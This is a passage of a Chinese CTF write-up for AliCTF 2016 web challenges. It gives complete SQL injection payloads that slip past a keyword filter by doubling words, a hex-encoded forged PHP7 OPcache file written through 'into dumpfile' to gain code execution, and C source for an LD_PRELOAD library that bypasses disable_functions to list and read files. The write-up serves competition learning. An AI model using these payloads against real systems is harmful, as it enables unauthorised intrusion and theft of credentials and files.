抽取出来之后是一个压缩包,然而在ubuntu下怎么都解压不了,然后队友把它丢到windows中用winrar一下就解压出来了,在解压出来的文件中得到flag

Web

Find password

根据题目信息,大意就是让我们去找HHHH这个用户的密码,注册时候发现任意注册HHHH,登陆进去:

AliCTF 2016 Writup

http://114.55.1.176:4458/detail.php?user_name这里发现存在注入,然后发现有waf,经过测验,发现select,or,and等等需要双写绕过,最后payload :

http://114.55.1.176:4458/detail.php?user_name=-2%27%0Aununionion%0Aselselectect%0Auser_pass,2,3,4%0Afrfromom%0Atest.users%0Aununionion%0Aselselectect%0A1,2,3,4%0Aoorr%0A%271

拿到flag:

AliCTF 2016 Writup

Homework

开始又是注入= =

随手注册一个用户,进去以后,发现可以任意上传文件,不过不能getshell,没有太大用处。在文件描述那里发现存在注入:

AliCTF 2016 Writup

很友好地没有多少过滤。然后走坑之旅开始。发现利用outfile这些可以写东西,但是也没有太大的用处,于是,fuzz了下,发现存在info.php和phpinfo.php,info大致提示我们flag在根目录下,不用去找了,再次贴心,接着看下phpinfo,居然是php7,想起了前阵子的漏洞: http://drops.wooyun.org/web/15450:利用 PHP7 的 OPcache 执行 PHP 代码。

当然这里必须要有一个上传漏洞才能去配合这个漏洞,一开始已经说了可以任意上传,当然包括php,我们知道缓存是优于其本体,而我们可以注入写文件,phpinfo也已经告诉了我们一些敏感路径,于是思路很明确了:

AliCTF 2016 Writup

但是写的时候,我们会发现,如果用outfile写的话,mysql会把16进制的一些东西转换,导致面目全非,于是利用dumpfile可以很好的解决这一个问题,于是先探针下,最终payoad:

http://121.40.50.146/detail.php?id=-1%27%20union%20select%20unhex(’4F504341434845003339623030356164373734323863343237383831343063363833396536323031C002000000000000000000000000000000000000000000000000000000000000EF0D070F190D0000A8010000000000000200000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFF040000004002000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000A80100000000000001000000020000000000000000000000FFFFFFFF020000000002000000000000080000005858354F00000000000000000000000000000000000000000000000000000000000000000000000000000000010000000700000012000000FEFFFFFF0000000000000000000000000000000000080000FFFFFFFF000000000000000020610689AC7F0000010000000700000012000000FEFFFFFF0000000000000000000000000000000010000000FFFFFFFF0000000000000000B0590689AC7F000000000000000000000000000000000000000000000000000001000000000000000000000000000000C002000000000000000200000000000000000000000000000000000000000000000000000000000000000000660DC4980000000000000000040000000606000019C2A9A742FDC1F029000000000000002F7661722F7777772F68746D6C2F75706C6F61642F32303136303630353132353733372D312E706870000000000000000000000000000000000000000000000020020000000000000600000000000000010000000000000004000000FFFFFFFF0100000006060000F9E0F8ABB5D000800700000000000000706870696E666F00C0E10E89AC7F000060000000000000000000000000000000020000003D080108E0A10E89AC7F000000000000000000006000000000000000020000003C08080480EE0B89AC7F000060000000000000000000000000000000020000002804080880570F89AC7F0000100000000000000000000000FFFFFFFF020000003E010808′)%20into%20dumpfile%20%27/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/20160605125737-1.php.bin%27–+

访问下ok:

AliCTF 2016 Writup

OK,题目第一关已经成功过坑,看下disable-functions:

AliCTF 2016 Writup

限制好死。。。觉得无望了。。。但是传了一句话后,不知道为什么eval可以执行:

AliCTF 2016 Writup

然后找bypass的资料,在drop发现这么一个科技:

http://drops.wooyun.org/tips/16054利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令。然后瞬间有些懵逼地样子,so是什么玩意,作为一只web狗只看过没接触过,好在文章写得比较容易明白,根据文章的思路,就是我们可以编译so,然后利用php去访问,从而绕过php的诸多限制,也就是说我们利用c的函数去列目录读文件之类的,payload如下:

#include <dirent.h> #include <stdio.h> #include <stdlib.h> #include <string.h> void payload() {     DIR* dir;     struct dirent* ptr;     dir = opendir("/");     FILE  *fp;     fp=fopen("/tmp/venenoveneno","w");     while ((ptr = readdir(dir)) != NULL) {         fprintf(fp,"%s/n",ptr->d_name);     }     closedir(dir);     fflush(fp); } int geteuid() {     if (getenv("LD_PRELOAD") == NULL) {         return 0;     }     unsetenv("LD_PRELOAD");     payload(); } 

然后gcc编译成so,然后根据前面的点,我们明白了出题人的思路:

AliCTF 2016 Writup

做到这里,还有题目最后一个坑,就是生成的东西没权限去读,那么怎么办,于是前面传的shell用了用处,我们可以利用copy命令,去覆盖一个我们之前上传的bin,于是直接列目录:

AliCTF 2016 Writup

然后再利用loadfile读就可以了:

AliCTF 2016 Writup

发现flag,然后再进行一次类似操作,利用fopen去读文件,最后成功得到flag:

AliCTF 2016 Writup

原文  http://www.freebuf.com/articles/others-articles/106643.html
正文到此结束
Loading...